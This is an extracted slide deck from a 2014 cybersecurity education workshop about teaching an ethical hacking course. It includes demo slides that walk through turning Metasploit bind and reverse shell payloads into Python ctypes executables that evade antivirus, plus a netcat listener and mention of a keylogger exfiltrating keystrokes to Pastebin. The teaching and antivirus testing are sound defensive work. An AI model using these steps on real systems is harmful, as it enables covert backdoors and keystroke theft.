76
Violent Python Innova/ons in Cybersecurity Educa/on Workshop June 24, 2014

Innovaons(in(Cybersecurity(Educaon( Workshop((

  • Upload
    others

  • View
    4

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Innovaons(in(Cybersecurity(Educaon( Workshop((

Violent  Python    

Innova/ons  in  Cybersecurity  Educa/on  Workshop    

 June  24,  2014  

Page 2: Innovaons(in(Cybersecurity(Educaon( Workshop((

Bio  

Page 3: Innovaons(in(Cybersecurity(Educaon( Workshop((

Pedagogy  

Page 4: Innovaons(in(Cybersecurity(Educaon( Workshop((

Diversity  in  Educa/on  

•  Students  have  different  previous  experience,  knowledge  and  goals  

•  They  aren't  all  going  to  learn  the  same  things  in  the  same  class  

•  My  goal  is  NOT  to  make  them  all  achieve  the  same  proficiency  

•  My  goal  is  to  provide  every  student  with  material  they  can  grasp  and  interes/ng  challenges  

Page 5: Innovaons(in(Cybersecurity(Educaon( Workshop((

Beginners  

•  Textbook  that  covers  the  material  •  Online  training  at  CodeCademy  •  DVDs  with  virtual  machines  ready  to  go  •  Hands-­‐on  projects  with  complete  step-­‐by-­‐step  instruc/ons  

•  Lab  /me  aSer  each  class  with  the  instructor  available  to  help  

•  Extensive  open  lab  /me    

Page 6: Innovaons(in(Cybersecurity(Educaon( Workshop((

Average  Students  

•  Configure  their  own  home  machines  to  do  the  projects  

•  Work  at  home,  with  no  instructor  available  •  Simple  challenge  projects  without  instruc/ons  

Page 7: Innovaons(in(Cybersecurity(Educaon( Workshop((

Advanced  Students  

•  Advanced  challenges  •  Online  security  puzzle  sites    •  Cyber  compe//ons  •  Following  the  news,  independent  work  on  cuWng-­‐edge  topics  

Page 8: Innovaons(in(Cybersecurity(Educaon( Workshop((

Independent  Projects  

•  Students  can  get  extra  credit  by  – AXending  other  training  events  –  In-­‐class  presenta/ons  – Researching  other  tools  or  techniques  

Page 9: Innovaons(in(Cybersecurity(Educaon( Workshop((

Grading  

•  Must  achieve  a  level  of  points  to  get  a  good  grade  

•  Many  possible  combina/ons  of  projects  can  get  there  

•  May  skip  the  final  exam  

Page 10: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 11: Innovaons(in(Cybersecurity(Educaon( Workshop((

CNIT  124  Advanced  Ethical  Hacking  

Page 12: Innovaons(in(Cybersecurity(Educaon( Workshop((

Two  Textbooks  

Required   Op/onal  

Page 13: Innovaons(in(Cybersecurity(Educaon( Workshop((

Violent  Python  

•  Good  coding  principles  – Excep/on  handling  – Modular  design  – Op/miza/on  – Commen/ng  – Flow  charts  

•  FORGET  THEM  ALL  

Page 14: Innovaons(in(Cybersecurity(Educaon( Workshop((

Violent  Python  

•  We  are  hackers  •  We  are  here  to  BREAK  STUFF  •  It  should  be  fast  and  easy  for  a  complete  novice  to  hack  together  a  simple  script  to  do  something  fun!  

Page 15: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 16: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 17: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 18: Innovaons(in(Cybersecurity(Educaon( Workshop((

Projects  

Page 19: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 20: Innovaons(in(Cybersecurity(Educaon( Workshop((

An/virus    

Ungh!    Good  God  y'all...    

What  is  it  GOOD  For?  

Page 21: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 22: Innovaons(in(Cybersecurity(Educaon( Workshop((

Mikko  Hypponen  Video  

Page 23: Innovaons(in(Cybersecurity(Educaon( Workshop((

Metasploit  Payloads  

Page 24: Innovaons(in(Cybersecurity(Educaon( Workshop((

Metasploit  

•  Hundreds  of  payloads  •  The  simplest  one:  bind_tcp  •  Listens  on  a  TCP  port  for  commands  

Page 25: Innovaons(in(Cybersecurity(Educaon( Workshop((

Simple  Reverse  Shell  

•  One  command  to  produce  very  simple  Windows  EXE  malware  

Page 26: Innovaons(in(Cybersecurity(Educaon( Workshop((

An/virus  Catches  It  

Page 27: Innovaons(in(Cybersecurity(Educaon( Workshop((

Norton  v.  Shell.exe  

Page 28: Innovaons(in(Cybersecurity(Educaon( Workshop((

Norton  Iden/fies  the  Metasploit  Packer  

Page 29: Innovaons(in(Cybersecurity(Educaon( Workshop((

VirusTotal:  37/49  Detec/ons  

Page 30: Innovaons(in(Cybersecurity(Educaon( Workshop((

How  to  Become  007  

Page 31: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 32: Innovaons(in(Cybersecurity(Educaon( Workshop((

Python  v.  AV  Round  1  

shell_bind_tcp  

Page 33: Innovaons(in(Cybersecurity(Educaon( Workshop((

Export  Metasploit  Payloads  to  C  

Page 34: Innovaons(in(Cybersecurity(Educaon( Workshop((

Use  Ctypes  Python  Library  

Page 35: Innovaons(in(Cybersecurity(Educaon( Workshop((

Compile  it  on  Windows  

•  Install  these    things,  in  order  – Python  2.7  – PyWin32  – pip-­‐Win  – PyInstaller  

•  This  creates  an  EXE  file  that  listens  on  a  TCP  port  

Page 36: Innovaons(in(Cybersecurity(Educaon( Workshop((

DEMO  

•  On  Kali  msfpayload windows/shell_bind_tcp C > foo!nano foo!

•  Change  top  to  from ctypes import *!shellcode = (!

•  Change  boXom  to  );!memorywithshell = create_string_buffer(shellcode, len(shellcode))!shell = cast(memorywithshell, CFUNCTYPE(c_void_p))!shell()!

Page 37: Innovaons(in(Cybersecurity(Educaon( Workshop((

DEMO  

•  On  Windows,  in  pip-­‐Win:  venv -c -i pyi-env-name!pyinstaller --onefile --noconsole foo!

Page 38: Innovaons(in(Cybersecurity(Educaon( Workshop((

VirusTotal:  1/50  Detec/on  

Page 39: Innovaons(in(Cybersecurity(Educaon( Workshop((

Norton  Support  

•  I  Tweeted  about  this,  and  @NortonSupport  replied  

•  VirusTotal  is  not  a  fair  test,  because  real  installed  Norton  uses  Heuris/c  Scanning  

•  @NortonSupport  gave  me  a  link  for  a  30-­‐day  trial  version  :)  

Page 40: Innovaons(in(Cybersecurity(Educaon( Workshop((

Norton  Wins!  

Page 41: Innovaons(in(Cybersecurity(Educaon( Workshop((

Kaspersky  Wins!  

•  Avast!  doesn't  detect  it  •  Kaspersky  detects  it  as  HEUR:Trojan.Win32.Generic  

Page 42: Innovaons(in(Cybersecurity(Educaon( Workshop((

Python  v.  AV  Round  2  

shell_bind_tcp  with  a  delay  

Page 43: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 44: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 45: Innovaons(in(Cybersecurity(Educaon( Workshop((

DEMO  

•  On  Kali  cp foo foo2!nano foo2!x=raw_input("Press Enter to continue")!

•  On  Windows,  in  pip-­‐Win:  venv -c -i pyi-env-name!pyinstaller --onefile foo2!

Page 46: Innovaons(in(Cybersecurity(Educaon( Workshop((

Norton,  Avast,  &  MSE  Lose!  

Page 47: Innovaons(in(Cybersecurity(Educaon( Workshop((

Kaspersky  Wins!  

Page 48: Innovaons(in(Cybersecurity(Educaon( Workshop((

Python  v.  AV  Round  3  

shell_bind_tcp  in  two  stages  no  delay  

Page 49: Innovaons(in(Cybersecurity(Educaon( Workshop((

Other  AV  

•  Tested  on  Mar  24,  2014  with  a  two-­‐stage  reverse  shell  and  no  /me  delay  

•  Al  these  failed  – Norton  – Nod32  – Avast!  – 360  Internet  Security  – McAfee  – Kaspersky  

Page 50: Innovaons(in(Cybersecurity(Educaon( Workshop((

Remember  Mikko?  

Page 51: Innovaons(in(Cybersecurity(Educaon( Workshop((

F-­‐Secure  Wins!  

Page 52: Innovaons(in(Cybersecurity(Educaon( Workshop((

AV  Challenge  

Page 53: Innovaons(in(Cybersecurity(Educaon( Workshop((

•  Posted  April  3,  2014  •  No  reply  from  AV  vendors,  but  Norton  improved  its  detec/on  aSer  that  – Now  a  delay  is  required  

Page 54: Innovaons(in(Cybersecurity(Educaon( Workshop((

Python  v.  AV  Round  4  

shell_bind_tcp  with  a  delay  

Page 55: Innovaons(in(Cybersecurity(Educaon( Workshop((

INSTRUCTIONS  

•  On  Kali  msfpayload windows/shell_reverse_tcp LHOST=192.168.119.252 C > rev!nano rev!

•  Change  top  to  x=raw_input("Press Enter to continue")!from ctypes import *!shellcode = (!

•  Change  boXom  to  );!memorywithshell = create_string_buffer(shellcode, len(shellcode))!shell = cast(memorywithshell, CFUNCTYPE(c_void_p))!shell()!

Page 56: Innovaons(in(Cybersecurity(Educaon( Workshop((

INSTRUCTIONS  

•  On  Windows,  in  pip-­‐Win:  venv -c -i pyi-env-name!pyinstaller --onefile rev!

•  On  Kali  nc –lp 4444!

Page 57: Innovaons(in(Cybersecurity(Educaon( Workshop((

Norton  Loses  

Page 58: Innovaons(in(Cybersecurity(Educaon( Workshop((

Kaspersky  Wins  

Page 59: Innovaons(in(Cybersecurity(Educaon( Workshop((

Advanced  Malware  Protec/on  

Page 60: Innovaons(in(Cybersecurity(Educaon( Workshop((

ty  @ChrisAbdalla_1  from  HP  ESP  TippingPoint  

Page 61: Innovaons(in(Cybersecurity(Educaon( Workshop((

•  A  friend  in  the  financial  industry  tested  Evil.exe  on  a  system  protected  by  FireEye  

•  FireEye  gives  no  alerts  and  lets  it  post  keystrokes  right  to  Pastebin  

Page 62: Innovaons(in(Cybersecurity(Educaon( Workshop((

Python  Keylogger  

Page 63: Innovaons(in(Cybersecurity(Educaon( Workshop((

Google  "Python  Keylogger"  

•  I  used  this  one  from  4  years  ago  

Page 64: Innovaons(in(Cybersecurity(Educaon( Workshop((

Post  Keystrokes  to  Pastebin  

Page 65: Innovaons(in(Cybersecurity(Educaon( Workshop((

Problem  

•  Pastebin  busted  me  for  making  too  many  pastes  in  a  24-­‐hour  period  

•  So  I  wrote  my  own  Pastebin  imita/on  

Page 66: Innovaons(in(Cybersecurity(Educaon( Workshop((

Kaspersky  &  Avast!  LOSE  

Page 67: Innovaons(in(Cybersecurity(Educaon( Workshop((

Norton  WINS!  

Page 68: Innovaons(in(Cybersecurity(Educaon( Workshop((

But  just  add  a  delay...  

Page 69: Innovaons(in(Cybersecurity(Educaon( Workshop((

F-­‐Secure  LOSES!  

Page 70: Innovaons(in(Cybersecurity(Educaon( Workshop((

PRODUCT  ANNOUNCEMENT!  

Page 71: Innovaons(in(Cybersecurity(Educaon( Workshop((

Ultra-­‐Advanced  APT  Tool  

samsclass.info/evil.exe  

Page 72: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 73: Innovaons(in(Cybersecurity(Educaon( Workshop((

UNSTOPPABLE  

•  None  of  these  products  stop  it  – Norton  – McAfee  – Kaspersky  – Nod32  – F-­‐Secure  – Avast!  – MicrosoS  Security  Essen/als  

Page 74: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 75: Innovaons(in(Cybersecurity(Educaon( Workshop((
Page 76: Innovaons(in(Cybersecurity(Educaon( Workshop((